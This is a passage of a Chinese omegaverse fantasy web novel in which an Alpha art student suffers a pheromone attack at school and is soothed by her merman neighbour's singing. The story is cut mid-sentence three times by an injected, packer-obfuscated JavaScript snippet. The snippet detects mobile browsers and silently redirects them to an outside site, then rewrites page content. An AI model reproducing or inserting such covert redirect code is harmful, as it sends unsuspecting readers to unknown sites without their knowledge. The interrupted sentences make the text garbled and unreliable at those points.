只不过两人都有一种共同的感觉—— 好像这么一天的相处并没有让她们关系变得更近,也没有变得更远,反而原地踏步踏似的回到了原点。 虞秋明显克制的表现倒没有让季晩起太多疑心,反而让她意识到了一个问题。 虞秋是一个Omega,她作为Alpha这两天的行为会不会有些太逾矩了? 送人上下学,请人吃饭,甚至是买药。 季晩对异性的概念还停留在那些很不好的记忆之中,虞秋给她的感觉和其他人都不太一样,不自觉就对他有点太好了。 从第一眼见到的时候,就觉得像是认识了很久的朋友似的,相处得很舒服。 小时候真的没有见过吗? 季晩想起了隔壁房子的房主可能是妈妈的朋友,于是辗转找了几个家里的长辈,打听了一下隔壁的事,暂时没有得到确切回信。 雨依旧没有停,那些白噪音般的雨声打在窗帘上,让她的心情变得有些难以琢磨。 今夜照旧泡了澡,吃了药,唯一的变数是她把衣服拿去洗的时候,洗衣机刚刚启动,就在空气中闻到了一股很奇怪的味道。 季晩暂停洗衣机看了一眼被打湿的衣服。 白天去漏水教室的时候遇到了一件怪事,那些窗框上有很淡的腐蚀性痕迹,季晩和某个群体打交道的机会比一般人都多,于是当时就拍照取证,叫了保卫处的老师过来看。 而她和虞秋却不约而同的都没有提到这件事,以至于没有发现两处不同教师受损事件里的共同点。 季晩再次检查了一下已经被打湿了一半的衣服,洗衣液和水已经与它融为一体,刚才奇怪的味道也消失,似乎只是洗衣液的香味。 季晩继续启动机器。 处理完最后一点家务,她早早就躺在床上,做好了入睡的准备。 季晩打开了聊天框里的那个文件,凝视了一会儿小鱼那玻璃珠头像,过了一会才手指一点下载文件,戴上耳机后静静聆听。 或许是药效也开始起作用,今天的入睡的速度比昨天还快。 唯有极有侵略性的雨声,似乎顺着那段吟唱声入侵了她的梦境。 今晚梦里是风雨飘摇的夜。 她好像在沙滩上奔跑,寻找着什么,远处是妈妈在呼喊她:“季晩慢一点,妈妈没事。” 季晩讨厌下雨天,梦里不知为何还有痛觉,她好像踩到了什么脚心很痛,但却十分惊喜的把那个伤害她的贝壳捡了起来。 里面是一颗又一颗饱满的红色珍珠。 雨终于停了,她带着珍珠回去找妈妈。 那个她学画画的小岛变得比前几年破旧了很多,曾经是她躺在那里疗养,现在换成了母亲。 她看见星夜沉默,浓郁的夜色,像是潮水一样,要把她的母亲拖走。 而她只能绝望的把那些红色的珍珠往她的手里塞,死死的拉住脸色苍白的妈妈,不让大海带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318267|183121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走她唯一的家人。 “为什么没有用了,之前都有用的。” 季晩感觉自己的声音都在抖,而旁边有一个细小的小孩的声音似乎比她还要难过。 “对不起姐姐,是我太没用了,要是早一点把珍珠弄出来就好了。”“我要再长大一点的,对不起姐姐。” 季晩看不见那个小孩,却能感觉到他的手湿湿的,一直握着自己衣角。 她说:“不怪你,是我的错。” 浓稠的夜色乍然裂开,随即是翻涌的波涛和人们的尖叫。 季晩感觉自己被丢进了一团塞满刀片的洗衣机。 季晩无法动弹地在那团血肉里沉浮,直到嗓子全部被血色塞满,她剧烈咳嗽,直到将自己完全咳醒。 滴滴滴—— 空气中传来警报的声音,是她的手环在震动爆鸣。 季晩面色苍白的从床垫上起身,查看了一下手环上面的信息。 指数短期内迅速上升到6.8,已经超越安全值了。 手机上也显示出了两个未接电话,这回是江炽打来的。 现在才早上7点多手机是免打扰状态,她并没有听到铃声,直到手环开始发出警报。 不爱吃姜:[季晩你怎么回事,怎么信息素突然波动了,你是不是遇到袭击了?] [手环给我临时发送了你的位置,你不是在家吗?到底发生什么事了?醒来了赶紧联系我或者来医院一趟!!!] 顶级Alpha的信息素监控和医疗系统是直接接入的,江炽是她指定的联络医生,季晩平复了一下呼吸,脑子终于动了起来。 江炽这么早给她发消息,这会估计夜班还没结束,季晩直接打了过去,免得过几分钟医疗团队直接大张旗鼓杀她家里来了。 “喂?季晩,你状态怎么样了?怎么突然间激素波动这么大?” 季晩嗓子有些沙哑。 “只是做了个噩梦。” 电话那头的江医生显然不这么想: “以你的等级不管是做噩梦还是失眠,最多只能让你的身体乏力,而不是产生这么大的信息素波动,你这绝对是受到外力影响了,昨天有没有遇到什么奇怪的事?” 季晩头有些晕,她回想了昨天一天的遭遇,首先排除了那段人声吟唱。 不是她过于信任虞秋,而是她下意识觉得其他东西更有嫌疑。 “昨天,画室那边因为暴雨有画作受损,我过去看了一眼,那不像是自然环境造成的损伤。晚上回来后,洗衣机里的衣服和洗衣液融合后出现了一种奇怪的味道,很快就消失了。” 这种诡异的事件再联想到季晩以往的遭遇,很容易想到某个特定群体。 幻想种的特殊能力。 江炽那边似乎在思考什么:“我已经叫了一个机构的同事马上一起去你家那边看看情况,你先不要盲目补充抑制剂,吃一点辅助药剂,我等下就过来。” 挂断电话,季晩走到镜柜前面,拉开柜子,从满柜子的药物里,挑出了抑制剂注射前吃的辅助药剂。 她看到镜子里的自己眼睛很红,似乎下一秒就有什么疯狂的情绪要从眼睛里溢出来。 属于Alpha的那种攻击本能正在一点一点的漫出来。 那是像野兽一样渴望撕碎一切的眼神,而藏在最里面的,还有某种肮脏的欲望。 这是她最讨厌的兽性,最憎恨的本能。 季晩吃了药闭上眼缓了一会儿,突然手机震动了一下,她低头看去,不是江炽的消息。 一条翘尾巴的小鱼表情包充斥着屏幕。 [学姐,今天雨小了很多,我直接坐公交去学校上早八啦,这次就不麻烦你了。] 季晩看着那一条翘尾巴的小鱼表情包,轻轻摩挲了一下,然后回了一个好。 莫名的,她思考起一个以前没有考虑过的问题。 上一次注射抑制剂已经有10天,下一次注射完成之前,她还能和这条鱼一起吃饭吗? 8. 第 8 章 江炽来得很快,后面还跟着穿特殊外套的机构人员。 “我同事会帮你检测有没有幻想种的特殊信息素残留。” 两人脸上都带着特殊的隔离面罩,高等级的Alpha进入信息素紊乱状态后,攻击性也会变强,尤其是在医生中有其他Alpha的情况下。 季晩目前看上去还算理智,吃过辅助药剂后,信息素水平暂时稳定,江炽抽了一点她的血,用人肉背过来的特殊仪器化验。 看到具体数值,她脸色愈发不好: “你体内的抑制剂才打了半个月,活性物质太多了,现在补不了第二针,季晩,你得隔离至少一周。” 季晩揉了下太阳穴:“洗衣机里的衣服还能提取到信息素吗?” 特殊部门来的那位特殊机构的医生摇头:“衣服烘干后几乎提取不到了,这个房子里目前全是你的信息素。” 就算戴着隔离面罩,两个医务人员也不好受。 季晩找到昨天她去学校用过的所有贴身物品:“试试看这些。” 精密度极高的检测仪,最后在季晩的皮带和钱包上检测到了微弱特殊物质残留。 江炽叫来的机构成员很有经验,取下面罩后先是简单嗅闻,然后机器化验,连接了电脑一通筛选,最后半小时就确认了。 “这是娜迦的萃取信息素,彻底溶于水后才会挥发出来。” 娜迦,海洋幻想种三巨头之一,原型是巨蛇,这个种族据说生育率是三巨头里面最低的,信息素的污染性很强,甚至具有一定的致幻能力,缺点是对岸上环境适应很差,据说上岸后只有在雨天信息素才会挥发出来,导致一直很难约会成功。 这种处理过的信息素萃取物,如果不是下雨天,估计也很难散发出味道。 昨天那么大的雨,季晩没有半路中招,真是运气好,而洗衣液里面有表面活化剂,加速了娜迦信息素在空气中挥发的过程。 “娜迦是深海巨蛇,红色分类的幻想种,整个海珍市估计都没几条。” “这边的数据已经传到协会那边了,刚刚已经有了反馈,说会调出本市那几位娜迦的手环定位,确认她们的行动轨迹。” 季晩给学校那边也打了一个电话,昨天去那件教室查看情况的学生里,一共有5人出现了身体不舒服的情况,季晩是反应最强烈的。 “娜迦的信息素特殊,不同等级的人反应不同,协会那边今天应该会联系你们学校,这种有预谋的攻击,不是什么好兆头。” 季晩也确实很快收到了回信,说是昨天每个年级都有学生出现了类似的情况,三年级甚至有Omega昨晚淋了雨,回家没多久就进入了假性发情状态,早就在医院待着了。 看来从昨天到今天,前前后后好些个学生中招。 “应该是分别投放了几个不同的AO信息素,你们教室那边投放的是Alpha属性的,其他的投放了Omega娜迦的。” 季晩听到这里,突然回想起了虞秋昨天去学校也是抢救自己的雕塑作业,破坏窗户吸引学生的方式如出一辙,于是给他也发了消息。 虞秋回得很快:[学姐你怎么知道我们班上有人请假了?不过不是Omega,是三个Alpha。] Alpha请假,说明一年级的雕塑教室投放的是Omega娜迦的信息素,所以虞秋应该没事。 [学姐,我总觉得今天学校氛围怪怪的,老师让我们最近都在家上网课,说是学校大部分教室要装修改造] 季晩知道,这是学校已经收到了医院和两个协会的通知。 恶意投放信息素可不是什么小事件,尽管在医疗日用品足够普及的当下,手环和抑制贴已经足够应付大部分情况,但高等级的AO集体发情,依旧会造成区域性的混乱。 唯一的好消息就是,季晩这次手环报警及时,数据显示她在睡眠情况下,数据居然控制得还不错,江炽已经联系医院看到了几个类似情况学生的血液检查报告,感慨了一句,季晩这次的抑制剂居然这么给力。 抑制剂要真的那么给力,估计就不会触发警报了。 季晩总觉得和她睡前听的歌有关。 海艺大很快完成了对校内学生情况的调查,只不过经过暴雨的冲刷,受到破坏的几间教室里,信息素方面的残余已经消失得差不多了。 只有原本就手脚没那么干净的破坏现场,确实能看得出来是人为因素。 甚至据说从某个雕塑教室正对的停车场里,找到了能够提供行车记录仪的车辆。 海洋幻想种保护协会那边,也很快将本市的几位娜迦移动轨迹发给了专项调查小组,很遗憾这其中并没有去过海艺大的,而且他们近期都没有抽血记录。 那些用来作案的娜迦信息素,应该是通过某种渠道从其他地方弄来的。 而被强制要求调取了最近移动轨迹的几位娜迦当事人,表达了诸多不满。 “协会这是什么意思,把我们当犯人看吗?!” “我忍这个破手环已经不是一天两天了!凭什么用这玩意儿窥探我们的隐私。非法提供信息素?这么大一顶帽子,你有证据吗?” “我凭什么要证明我的清白?是你们需要证明你们做的这件事不是在污人清白!你有证据吗?” 幻想种保护协会内,几位被请过来的娜迦无一不破口大骂。 这个种族原本就以脾气火爆著称,加上能力特殊,日常受到的同族偏见也不少,不管这事跟本市的这几位相不相关,至少他们嘴巴上是已经把协会骂得狗血淋头了。 虞秋在下午也被协会打电话叫了过来,准确的说是本市所有被标记为红色等级的幻想种,今天都被协会召见了一次。 美其名曰是做体检,实际上是检测最近有没有非法提取自己的信息素,用于其他目的。 大概猜到点什么的虞秋表情并不怎么好看。 这件事往浅一点想,就是有人在用信息素搞袭击,往深一点想,能够对娜迦信息素产生反应的,大多数等级比较高的AO。 之前游行要求陆地ABO协会公布高等级人群的信息遭到了驳回,而现在这事一发生,至少这个学校有哪些高级AO基本一目了然。 至少这两天因为意外请假没办法去学校的,极有可能就是受到干扰进入易感期的AO人群,而这些人等级至少是A。 这件事如果不查清楚,下次发生袭击的地点就不一定是在学校了。 单间隔离室,几位娜迦种族的还在和工作人员吵架,不管是不是他们做的,屎盆子反正已经扣下来了。 而除了娜迦,深海三巨头还剩下两个,一是克拉肯,本市现存也是个位数,再一个就是人鱼,本市现存是惊人的一位。 虞秋被会长单独要求留下来说要商量事情的时候,其实就已经猜到了对方的目的。 协会的会长就是一位克拉肯,一种即使在岸上也能拥有极强攻击性的大型章鱼。 之所以能稳坐这个位置,一靠的是极强的个人能力,二就是因为会长的稳定性。 他是少有的,第一批上岸的幻想种,也是早早与所爱之人缔结了长期婚姻关系的一名男性Omega,早些年以嗜杀和雷霆手段著名,到了晚年才变得慈眉善目一些。 于协会成立初期一直到现在几十年,基本都是他稳坐那个位置。 与娜迦不同,协会里所有的人鱼定位手环,保护作用远大于监控作用,只要虞秋不主动惹事的话,协会遇见他都是拉偏架。 大部分人即使知道人鱼的存在,也不会知道人鱼的具体能力,只有特别亲近的人,比如虞秋的哥哥嫂子,才会明白人鱼之歌的效果。 又或者是年纪已经够大,参与过当年人鱼保护行动的协会会长。 人鱼歌声这种东西,随着科技的发展已经可以储存在器械里,即使它的效果会逐渐递减。 而当年,在上岸拥有与人类缔结婚姻关系交换信息素之前,没有任何海洋物种能拒绝圈养一条人鱼的诱惑。 会长语气诚恳: “小秋,这算是我私人的请求,我的孩子现在还躺在医院隔离室里。他是一个很年轻的Alpha,你之前也见过。作为父亲,我请求你能帮一帮我的孩子,而作为协会会长,我请求你能留下一点歌声,让这次意外中的受害者能够稍微减轻一下痛苦。” 昨天的无差别攻击里人类占比80%,还有一小部分幻想种其实也被影响了。 而娜迦信息素里的幻觉功能,对海洋物种的影响更大,现在躺在医院里的几个被同族连带着袭击的倒霉蛋,状态估 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318268|183121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计比人类还要惨。 虞秋没有考虑很久,他还欠会长一个人情,而且他不喜欢部分同类的做法,不代表他认为所有的幻想种都是混蛋。 只不过他从不亏待自己,所以附加了一些额外的要求。 等录完歌声回家的时候,虞秋整个人像被吸干了一样。 协会给他补偿了一大笔钱,以及他单独要求的用于恢复精神状态的药剂和珍惜物品。 虞秋晚餐就是由难吃的补品构成,他急于恢复不是为别的,而是从会长那里用私人手段套到了一点让鱼在意的消息。 他钻进娃娃堆里,一边补充能量恢复精神状态的时候,删删减减了很久,小鱼才给隔壁的季晩发去消息。 [小鱼尾巴轻轻拍门.jpg] [学姐,你是不是生病了?] [还有,我有件事想和你说] 季晩今天一天都待在家里没有出门,所有的食物都是叫的机器人特送。 由于不能直接补充抑制剂,所以她一整天都是处于一种暴躁而又烦闷的状态,更是有一种说不清道不明的渴求在干扰她。 所以在接收到虞秋发来的消息时,季晩竟然有一种莫名的迟疑。 像是本能在告诉自己,即使隔着手机,这个时候她或许应该减少和这条鱼的联系。但她并不知道原因。 W:[嗯,有一点不舒服,所以这两天暂时不能送你了。] [还欠你一顿晚饭,下次有机会再带你去吃。] 季晩手指触碰着那个漂亮的头像,只觉得虞秋也像是一条泡在玻璃球里的小鱼。 看上去有一个透明的外壳,实际上玻璃是坚硬的,能成功阻隔一切试图触摸他灵魂的想法。 季晩不太想承认,但她确实对这条鱼抱有过多的好奇。 而好奇,通常是某些不可阻止的东西,将人拉入深渊的第一步。 季晩已经警惕起来想要离深渊远一些,至少在今天这个敏感的时刻,她觉得自己应该是稍微克制一些,哪怕只是隔着手机说说话。 可这个灵魂却跌跌撞撞的,主动蹭了上来。 在季晩还没意识到的时候,不怎么熟练地率先敞开心扉,用自以为隐藏的很好的方式,送出一份心意过重的礼物。 [学姐,你还不知道我的种族吧,是人鱼哦,其实之前的歌声就是我自己的] [我知道昨天学校发生了意外,有很多人都受到了影响,你今天一天都没怎么回我消息,是不是也身体不舒服?] [单独录下来的人鱼歌声大概听个三四次效果渐渐的就没有了。学姐,我可不可以这两天都唱歌给你听呀?你是不是有点信息素紊乱,不同的歌声作用不一样,我想帮帮你。] [作为报酬,等你身体恢复了,能开车带我去上学吗?] [求求了小鱼拜托.jpg] 明明是来帮助别人的,却说的好像是自己在求人帮忙一样。 不仅仅是治疗失眠,甚至能治疗信息素紊乱。 这句话的重量有些太过了。 季晩即使不知道海里那些人鱼过往的遭遇,也明白这种能力意味着什么。 W:[这种东西是能随便告诉其他人的吗?] 季晩莫名的有那么一点点生气。 觉得这鱼似乎有点太傻了。 虞秋毫不在意的继续提建议,好似把自己盛在盘子里献了出来。 [当然不会告诉别人了,但季晩不一样。] 这是虞秋第一次没有叫她学姐。就好像季晩这个名字背后藏着的并不只是学姐和学弟的关系。 [放心吧,我从来都不做亏本生意的,来浴室,晚上我唱歌给你听。] [小鱼翘尾巴.jpg] 说实话,如果人鱼的歌声真的拥有那样的能力,那对于季晩来说意义,并不止于这一次意外带来的短期信息素紊乱。 江炽曾经说过她可以再等一等,不要对自己那么残忍,属于季晩的人生才刚刚开始,而现在她等到了某个可能。 一条毫无保留,没有心机得让人会担心的人鱼,可能带来的奇迹。 她几乎没有拒绝的理由。 可这样下去,季晩觉得自己欠对方的好像越来越多了,如果仅仅只是请吃饭的话,真的够吗? 9. 第 9 章 浴室对于任何人来说,都是一个比较隐私的区域。 而季晩从来没想过自己有一天会躺在浴缸里,等着邻居唱歌给自己听。 “学姐你能听到吗?” 浴室的隔音效果确实不好,但直接寄希望于能隔墙治疗当然也不现实,所以虞秋提议在浴室里开一个语音聊天,毕竟那里的音效最好,而季晩最好能像以往一样泡个澡。 “你要保持心情放松一些哦,这样效果会更好。” 不知道是不是错觉,虞秋此时的声音听上去和以往好像也不太一样。 他的声音被空旷的浴室放大,加上语音和隔壁同时传来的声音,微妙的形成一个二重奏,愈发有层次感。 小鱼先轻轻哼哼了两下,像是在找调子,他唱歌的时候声音格外的清透,水润,仿佛一呼一吸间像是海浪轻轻拍打在沙石上。 季晩从早上醒来开始,状态就一直有些急躁和烦闷,此刻却渐渐安静下来,像是鬼迷心窍似的,听从小鱼提出的建议,默默洗漱好,然后放了一缸热水躺了进去,与一墙之隔的邻居打着语音。 “已经安全的躺进浴缸了吗?接下来闭上眼睛,想象一下你躺在一个以前最爱睡午觉的安全环境里。” 虞秋不像是在做唱歌的准备,更像是催眠一样轻轻的说着话。 季晩对这种环节并不陌生,甚至可以说相当熟练,只不过以往在心理治疗环节的时候,她进入状态总是很慢,今天也不知是浴缸那一池舒缓热水的作用,还是隔壁已经隐隐传来了人鱼哼唱,让她很快就进入了那种彻底放松的状态。 歌声渐渐明显,像一阵轻柔的风,将人带到了记忆的远方。 季晩好像又回到了十二三岁,那个时候她还没有分化,最大的烦恼就是生长痛,以及半夜偶尔会发烧惊醒,但似乎只要来海边听听海浪的声音,身体的不适又能很快压下去。 这座小岛上有一个很大的动物保护协会,她的母亲致力于保护各种海洋生物的志愿活动,用说童话故事的语气和她科普,说大海深处还藏着一些有特殊能力的生物,到了一定的年纪,也会变成小朋友的样子和季晩相处。 那个时候她就不用一个人玩啦。 而这座小岛就像是某些神秘力量庇护着,适合疗养休息,让每一个需要祝福的人都能实现愿望。 但妈妈说所有的馈赠都是有代价的,所以让她对小岛周围的动物都好一点。 季晩那个时候没什么同龄的玩伴,除了画画就是一个人去海边,把周围每一个会动的生物都当朋友看待。 她总是想着要是自己在海边捡到的贝壳,捞起的某条小鱼,也能变成人就好了。 她可以为他们画很多画,她那时候已经画得很好了。 但她应该是有朋友的,季晩记得自己经常对着一个小水洼说话,有时候她也会哼哼歌,在夜晚海风吹拂的时候,和夜色里无形的小伙伴聊天。 或许每个孩子在童年时期都有过一个隐形的伙伴,他可能是一个娃娃,一块石头,一棵树,甚至是某些你已经遗忘的东西。 但今夜,当季晩一次又一次听着耳边盘旋的歌声,仿佛又回到了以前经常发烧的夜晚,海风渐渐吹走了脸上的温度,她安然在那大海心跳中入睡,就此度过人生最难捱得的,分化前永不停止的生长痛。 痛苦好像就此被海浪,以及海浪中隐藏的絮语削弱。 就像从前无数个夜晚一样,季晩的呼吸逐渐变得平和,直到耳边响起了闹钟的声音。 某条人鱼的声音像是跨越了某个时间维度,一点一点拉成一根线。 “季晩,醒醒——” 那声音渐渐变成了二重奏,同时在语音和隔着一堵墙的浴室里骤然变得清晰。 “学姐你不要泡太久哦,已经有30分钟了,体温降低之前赶紧上床休息吧。” 虞秋彻底叫醒他的患者。 季晩在睁眼后,花了十几秒的时间,才慢慢从半梦半醒的状态中缓过来。 这感觉很神奇,像是做了一次特别舒缓的心理治疗,不,效果比那更好,她低头看了一眼手环。 白天江炽忧心忡忡给她测量的各项数据显示,她最近几天的信息素指数至少都会在6点上下波动,这是一个很危险的门槛,至少在抑制剂注射补充之前,季晩是不能去公共场合活动的。 但只是泡澡听个歌的功夫,这个数值已经降到了5,到达了安全的前置门槛。 而她甚至都不记得人鱼到底唱了什么。 就好像是一阵风突然刮起,吹走了她大脑皮层里那些滚动着带来刺痛感的沙砾,只留下漂亮的鱼尾,掀起了阵阵波涛溅在脸上,让她重新获得了清醒。 这感觉太奇妙,也太轻松了。 季晩想到了三年前,她第一次确诊高危型信息素紊乱综合症时,医生和她说的话—— “如果你的信息指数永远都无法降到正常人所属的安全数值,那么找一位匹配度高的伴侣达成终生标记,将是你唯一达到正常寿命的方法。” “以当前医学研究的情况来看,暂时无法通过药物和心理干预来控制你这种患者易感期的高危性,但哪怕是使用萃取的信息素也好,这样长期使用抑制剂只是不断地给你的身体加压……” 耳边又想起了江炽曾经和她说过的话:季晩,腺体切割并不是一劳永逸,手术后你的寿命将会比正常人要短很多。 她好像真的找到了一味对她相当有用的药,但是,季晩暂时无法确认,这对虞秋来说真的是没有任何损伤与消耗的吗? 季晩在当年某次事故发生后,并没有放弃过拯救自己,割掉腺体是她最后的选择,如果真的存在一个如此有效的治疗方案,那么在钱财方面并没有任何烦恼的她不可能打听不到。 “虞秋,我感觉好多了,你现在状态怎么样?” 语音通话依旧没有结束,虞秋似乎一直在主动等着季晩这边先挂断。 一墙之隔,在浴缸里堆了几个水枕头,一边猛捏娃娃一边往嘴里塞药剂的小鱼,手僵了一下。 “我当然没事啊,就是唱了30分钟的歌,嗓子有点哑,这是正常的啦,毕竟我又不是专业歌手。” 季晩听着他的状态并没有很萎靡,但依旧不是很放心。 这个世界从来都是公平的,命运给予的馈赠,早早就会标好价格。但她已经接受了人鱼给的礼物,这时候再关心对方付出的代价有些太晚。 “后面几天我听录好的歌就可以了,现在指数已经降了很多,你不用太担心我,好好养一下嗓子。” 虞秋啊了一声,突然支起趴在水床上的身体,双腿一翘,像鱼尾似的轻轻打了一下:“没关系的,你休养期间我每天晚上都可以唱给你听!” 他说话有些着急,季晩听出来了,嗓子确实有点哑,正常唱几个小时的ktv都不至于损伤这么大。 心里默默叹了一下气,她觉得自己之前果然还是有点冲动了,晚上得想办法联系一下幻想种协会那边打听一下人鱼的事。 “我过两天就可以补充抑制剂了,到时候可以自由活动了就接送你去学校。” 在虞秋着急的插话之前,季晩无师自通般抛出了一个小鱼无法拒绝的诱饵。 “今天晚上的治疗很有用,我如果只是请吃饭肯定不够,趁这个机会你可以想一想,向我提一个要求,任何要求都可以,我不会拒绝的。” 虞秋被那句“任何要求”给打了个措手不及,一瞬间脑子里不知道想了什么,抓着娃娃的手都紧了一下。 等他意识到的时候,对面的人已经说了一句晚安,把电话给挂掉了。 聊天软件上,季晩发了一个摸摸鱼头的表情包。 也不知道是哪里找来的鬼畜表情包,摸的鱼还是一个咸鱼脑袋,看得每次都特意发可爱表情包的虞秋忍不住笑出声来。 很快,他又撇了一下嘴,不太高兴地戳了戳手机屏幕那头的季晩的纯白头像,嘟囔了一句: “跑这么快干嘛?辛辛苦苦给你治疗,还真怕我被吸干啊。” 他可是提前找协会那边砍了一刀,趁机骗来了一大堆补品好吗? 这样有来有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318269|183121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往不是挺好的,虞秋越想越气。 结果这破软件上有一个双击头像,就自动发送一条戳一戳信息的特殊提示。 [你戳了戳W的脑袋表示狗都不学艺术][你戳了戳W的脑袋表示狗都不学艺术][你戳了戳W的脑袋表示狗都不学艺术] 虞秋顿时尾巴给绷直了。 这风格的拍一拍设定肯定不是季晩自己设置的! 还没来得及想好解释怎么就刷屏了,结果季晩那边突然蹦出来一句:[这个是朋友以前帮我设置的,等一下,我改回默认的。] 随后又一本正经的问他有什么事。 虞秋心情跟坐过山车似的,最后哼哼着说只是在想要提什么要求。 季晩让他慢慢想。 虞秋直接在水床上翻了个身,最后愤愤地摁出了一个晚安的表情包。 季晩也回了一句系统自动发送的晚安表情包,这回终于是可可爱爱的款式了。 虞秋好像突然就没那么气了。 他想,季晩为什么这么不容易接受他人的善意呢?明明她也总是在帮别人来着。 隔壁,已经接受一轮治疗的季晩,成功在睡前得到了幻想种协会副会长的亲自回复。 那边可能是在处理什么事,这个点了居然还没有休息。 [具体情况这个我无法透露,得先问过会长那边的意见。] 片刻后,回信来了。 [会长说你和你母亲当年都为协会立足提供了大量支持,至少在立场方面他并不担心,但这涉及到人鱼的隐私,所以只能告诉你一部分。] 这个所谓的一部分消息,就是人鱼使用能力曾经付出的代价。 [人鱼一族,在更早期的时候,在三巨头里并不是这个名字,那时候他们被称之为鲛人,鲛人们仅凭歌声就能对海洋生物完成信息素疏导,在抑制剂还没有从人类社会普及到海洋的时候,因为这项能力,人鱼遭到了大面积的追杀圈养,甚至差一点彻底灭族。] [现在留存下来的人鱼是分支,血脉能力已经很淡了,而且上岸后会得到协会的监察保护,加上近些年海洋生物和岸上生物达成了更好的信息素交互。特殊药剂,和人类的直接标记,对海洋生物的效果远比听人鱼唱唱歌要好很多。] [而且唱歌对他们的消耗很大,会长知道你这些年一直饱受病症的折磨,但他依旧不建议你对人鱼做出过多的索取。] [协会这些年的医疗研究也有了很大的进步,幻想种特殊能力衍生的药剂,同样对人类的病症有极大的效果,这点你在你母亲身上应该已经看到过。如果你愿意配合协会这边的医疗团队,等晚些会长会再与你联络的。] 季晩看着最后几条消息,逐渐沉默下来。 打开和虞秋的聊天框,不断的敲下几个字又删除,就在她想着既然已经说了晚安,剩下的话要不明天再说的时候,那头却突然发来了一条消息。 [学姐,你是在对话框里写作文吗,怎么敲了这么久?] [今天真的没有很累哦,我不会一直做对身体不好的事的,不信你明天可以打电话监督一下] [就算不唱歌给你治疗,聊聊天也可以嘛,学校那边在抢修教室,我也要上网课,天天关在家里好可怜的。] [而且你还答应了我一个要求哦,一定要给我时间先想想,不能直接偷跑。] 一大串的消息,打了个措手不及。 季晩那些原本想好的坚决话语,不知怎么的就这样卡住了,最后她只打了一句好,准备再一次发晚安这个表情包的时候,犹豫了一下 几秒钟后,虞秋手机一震,是一条语音。 季晩的声音听上去有些沙哑,似乎对说这种话不怎么熟练,显得有些笨拙。 她说:“好好休息,晚安。” 于是,虞秋就用这样在浴室的水床上打了几个滚,反复播放着这句简短的话。 像是在用声音隔空治疗某些难以言喻的病症。 他想,他一定得想办法好好利用这个提要求的机会,不会让季晩跑掉的。 10. 第 10 章 季晩没想到虞秋要求会提的这么快。 W:[每天晚上至少打一个小时的电话聊天?] 虞秋倒是想提过分一点的请求,但让季晩亲亲抱抱举高高,那是绝对不可能的。 直接把人吓跑了,那就什么后续都没有了,还不如先慢慢编一张网,用习惯的力量,先让季晩的生活从此每天都有一个小时会分给他。 [对呀,我是自己一个人住的嘛,有的时候还是会有点无聊的,那我们就定一个月,哦不,半个月?] 季晩好像这才意识到,虞秋上岸后应该是很少会遇见同类的,至少在她印象里人鱼是个非常稀有的物种。 在学校的时候虞秋周围热闹得像拥挤气泡水一样泡泡炸个不停,回了家好像也需要一个人面对空荡荡荡的房子。 季晩想了想:[那就一个月吧。] 隔壁对着手机屏幕谨慎打字的小鱼立刻握拳说了一句“yes”! 他就知道靠卖惨以退为进,绝对是个好办法! [那我就继续上网课啦,学姐不要忘记了今天晚上的通话哦] 于是唱歌治疗的活动就此取消,语音电话环节却莫名保留了下来。 季晩看着通讯软件上的小鱼翘尾巴的表情包,总觉得生活的轨迹好像因此有了一些微妙的改变。 一种,她说不清是好还是坏的改变。 因为特殊情况,接下来一周多都不用去学校,甚至完全不能出门,季晩好像又突然闲了下来。 她很少会觉得不知道该做些什么,加上晚上必须和邻居打电话这么一项活动将她吊住,导致今天一天好像都必须要找点什么事来应对这种奇怪的焦灼等待。 季晩开始收拾房子,当年装修本就做的是极简风格,她的书房里甚至没有一张桌子,只有边上几个带拉门的书柜。 里面的书倒是保存得很好,全部都是她母亲的。 比起书房这里更像是一间储藏过往记忆的储藏室,而其中大部分都是母亲留下的遗物。 季晩几乎没有动过那些关于动物保护的书籍,只是前几天做的那些奇怪的梦,不管是好的还是坏的,都让她想起了小时候在疗养院的那一段时光。 自从发生了海上事故之后,她就很少梦到以前的事了,心理医生说这对季晩来说反而是好事,以她现在的激素水平,保持心情的平稳,比一切都要重要。 但人终归是会忍不住回头看的,哪怕只是一张照片一封信。 季晩打开某个柜子,从里面搬出一个纸箱翻了翻,终于找到了一些明信片和信件,一本不是很厚的相册,以及箱子角落里的几个贝壳。 疗养院里虽然没有什么小孩子,但是有很多老人。 季晩是被母亲带过来疗养的,母亲就在隔壁的动物保护协会,而季晩就在这里和一群活泼的老太太们打交道,学了各种少走60年弯路的技能。 假牙打理小窍门这种东西她暂时还用不上,但是在那里,季晩打开了人生最重要的一扇窗户,她学会了画画。 因分化期生长痛折磨而握不住的画笔,从此却带她来到了新的世界。 